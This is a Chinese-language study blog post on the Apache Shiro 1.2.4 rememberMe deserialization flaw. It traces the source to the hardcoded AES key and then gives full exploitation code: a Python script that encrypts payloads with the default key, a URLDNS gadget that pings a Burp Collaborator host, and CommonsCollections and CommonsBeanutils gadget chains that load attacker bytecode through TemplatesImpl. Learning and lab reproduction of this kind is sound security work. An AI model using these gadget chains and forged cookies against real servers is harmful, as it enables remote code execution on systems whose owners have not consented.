Shiro反序列化学习
参考:
Shiro反序列化漏洞笔记一(原理篇)
Shiro反序列化漏洞笔记三(解疑篇)
Pwn a CTF Platform with Java JRMP Gadget
Shiro反序列化
环境搭建
可以直接git
下来切换版本,也可以直接用这个链接下载,使用的版本是1.2.4
。
git clone https://github.com/apache/shiro.git cd shiro git checkout shiro-root-1.2.4
|
下载后修改samples\web\pom.xml
里面的jstl
版本为1.2
<dependency> <groupId>javax.servlet</groupId> <artifactId>jstl</artifactId> <version>1.2</version> <scope>runtime</scope> </dependency>
|
导入为maven
项目后配置下tomcat
即可启动
漏洞原理
当用户勾选Remember Me
登陆时,Shiro会获取用户请求的Cookie中的rememberMe
的值,然后对rememberMe进行Base64解码并使用AES进行解密,最后对解密的值进行反序列化。而由于AES加密的Key是硬编码的默认Key,因此攻击者可通过使用默认的Key对恶意构造的序列化数据进行加密,最终会对用户构造的恶意数据进行反序列化。
我们首先在全局搜索rememberme
字段可以找到CookieRememberMeManager.java
,在里面可以很轻易地找到带有Serialized
字样的getRememberedSerializedIdentity
函数

看一下逻辑其实就是获取对应的Cookie
值然后Base64
解密。
然后看一下发现它是被AbstractRememberMeManager.getRememberedPrincipals
调用

这个函数主要就是把解密后的内容转换成认证信息,跟进图中的红框看一下

可以很明显的看到里面有一个deserialize
函数,跟进去看一下



一直跟进到最后发现调用了DefaultSerializer
中的deserialize
,而其中使用了原生的反序列化,所以到这里其实已经可以确定存在反序列化漏洞了,如果存在相应CC
依赖的话就可以打CC链
。
接下来就要考虑利用了,回到前面的convertBytesToPrincipals
函数,它第一步是进行一个解密,然后才进行了反序列化,跟进到decrypt
函数看一下

这里其实就是AES
的加解密,然后的话如果能知道key
的话就能够构造我们自己的数据进行反序列化,接下来就去找这个key
,跟进到getDecryptionCipherKey

发现是一个常量,去看哪里对它进行了赋值

接着去找哪里调用了这个函数,一步步往上走


这里我们发现一个常量,跟进去看一下可以发现key
是一个常量

现在找到了key
,要进行AES
加密构造数据还需要一个初始向量,我们回到前面的decrypt
函数,跟进到cipherService.decrypt
中去,发现是一个接口,接着走可以找到JcaCipherService

其实就是把我们传进来的数据的前面的字节复制一下当作iv
然后再进行解密,因此我们加密时候的iv
是可以随便取的。
到这里其实key
和iv
都已经知道了,只需要把对应依赖的payload
构造出来进行加密,然后放到Cookie
中的rememberMe
字段里就可以利用Shiro
的反序列化漏洞了(这里注意下后面利用的时候要删掉Cookie
中的JSESSION
字段)。
漏洞复现
如果调试运行报Error opening zip file or JAR manifest missing : xxxx\gragent.jar,可以看这篇博客解决
放一个网上的AES
脚本
import sys import base64 import uuid from random import Random from Crypto.Cipher import AES
def get_file_data(filename): with open(filename,'rb') as f: data = f.read() return data
def aes_enc(data): BS = AES.block_size pad = lambda s: s + ((BS -len(s) % BS) * chr(BS - len(s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), mode, iv) ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data))) return ciphertext
def aes_dec(enc_data): enc_data = base64.b64decode(enc_data) unpad = lambda s: s[:-s[-1]] key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = enc_data[:16] encryptor = AES.new(base64.b64decode(key), mode, iv) plaintext = encryptor.decrypt(enc_data[16:]) plaintext = unpad(plaintext) return plaintext
if __name__ == '__main__': data = get_file_data("ser.bin") print(aes_enc(data))
|
URLDNS
掏出我的祖传exp
package cn.evo1.cc;
import java.io.*; import java.lang.reflect.Field; import java.net.MalformedURLException; import java.net.URL; import java.util.Base64; import java.util.HashMap;
public class URLDNSTest { public static void main(String[] args) throws NoSuchFieldException, IOException, IllegalAccessException, ClassNotFoundException { HashMap<URL,Integer> hashMap = new HashMap<URL, Integer>(); URL url = new URL("http://zehh8m1ntruwjn42ueft0zdn2e84wt.burpcollaborator.net"); Class c = url.getClass(); Field urlfield = c.getDeclaredField("hashCode"); urlfield.setAccessible(true); urlfield.set(url,1234); hashMap.put(url,1); urlfield.set(url,-1);
serialize(hashMap);
}
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
生成ser.bin
后用刚才的AES
脚本加密,把得到的payload
放到Cookie
中里(记得删除JSESSIONID
),发包即可

CC链
在samples\web\pom.xml
里面添加一些依赖
<dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency>
|
这里在如果直接使用CommonCollections3、5、6、7链会导致反序列化漏洞无法利用成功,具体原因可以看一下Shiro反序列化漏洞笔记三(解疑篇)这篇博客。简单来说就是tomcat
的原因导致Transformer
数组不能用了,所以要找一个不使用该数组的方法,最后使用CC3+CC2+CC6
组合出了一条链
package cn.evo1.shiro;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map;
public class ShiroCC { public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException { TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass(); Field name = tc.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"evo1");
byte[] code = Files.readAllBytes(Paths.get("target/classes/cn/evo1/cc/Calc.class")); byte[][] codes = {code}; Field bytecodes = tc.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); bytecodes.set(templates,codes);
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
HashMap<Object,Object> map = new HashMap<>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,templates);
HashMap<Object,Object> map2 = new HashMap<>(); map2.put(tiedMapEntry,"evo2");
lazyMap.remove(templates);
Class c = LazyMap.class; Field factory = c.getDeclaredField("factory"); factory.setAccessible(true); factory.set(lazyMap,invokerTransformer);
serialize(map2);
}
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
也可以用JRMP
这条链子,可以参考这篇Pwn a CTF Platform with Java JRMP Gadget
CB链
这里先本地建个项目测试下,添加个依赖保持和Shiro
项目的版本一致
<dependency> <groupId>commons-beanutils</groupId> <artifactId>commons-beanutils</artifactId> <version>1.8.3</version> </dependency>
|
先创建一个JavaBean
样式的Person
类
package cn.evo1.shiro;
public class Person { private String name; private int age;
public Person() { }
public Person(String name, int age) { this.name = name; this.age = age; }
public String getName() { return name; }
public void setName(String name) { this.name = name; }
public int getAge() { return age; }
public void setAge(int age) { this.age = age; }
public String toString() { return "Person{name = " + name + ", age = " + age + "}"; } }
|
写一个例子
package cn.evo1.shiro;
import org.apache.commons.beanutils.PropertyUtils;
import java.lang.reflect.InvocationTargetException;
public class ShiroCB { public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException { Person person = new Person("evo1", 21); System.out.println(person.getName()); System.out.println(PropertyUtils.getProperty(person,"name")); } }
|
调试看一下流程






考虑这种getXxxx
的样式,可以想到TemplatesImpl
中的getOutputProperties
,借助该方法写一下exp
package cn.evo1.shiro;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare; import org.apache.commons.beanutils.BeanComparator; import org.apache.commons.beanutils.PropertyUtils; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ConstantTransformer;
import javax.xml.transform.TransformerConfigurationException; import java.io.*; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue;
public class ShiroCB { public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, IOException, TransformerConfigurationException, ClassNotFoundException { TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass(); Field name = tc.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"evo1");
byte[] code = Files.readAllBytes(Paths.get("target/classes/cn/evo1/cc/Calc.class")); byte[][] codes = {code}; Field bytecodes = tc.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); bytecodes.set(templates,codes);
Field tfactory = tc.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl());
BeanComparator beanComparator = new BeanComparator("outputProperties",new AttrCompare());
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1)); PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator); priorityQueue.add(templates); priorityQueue.add("evo1");
Class<PriorityQueue> c = PriorityQueue.class; Field comparator = c.getDeclaredField("comparator"); comparator.setAccessible(true); comparator.set(priorityQueue,beanComparator);
serialize(priorityQueue);
}
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|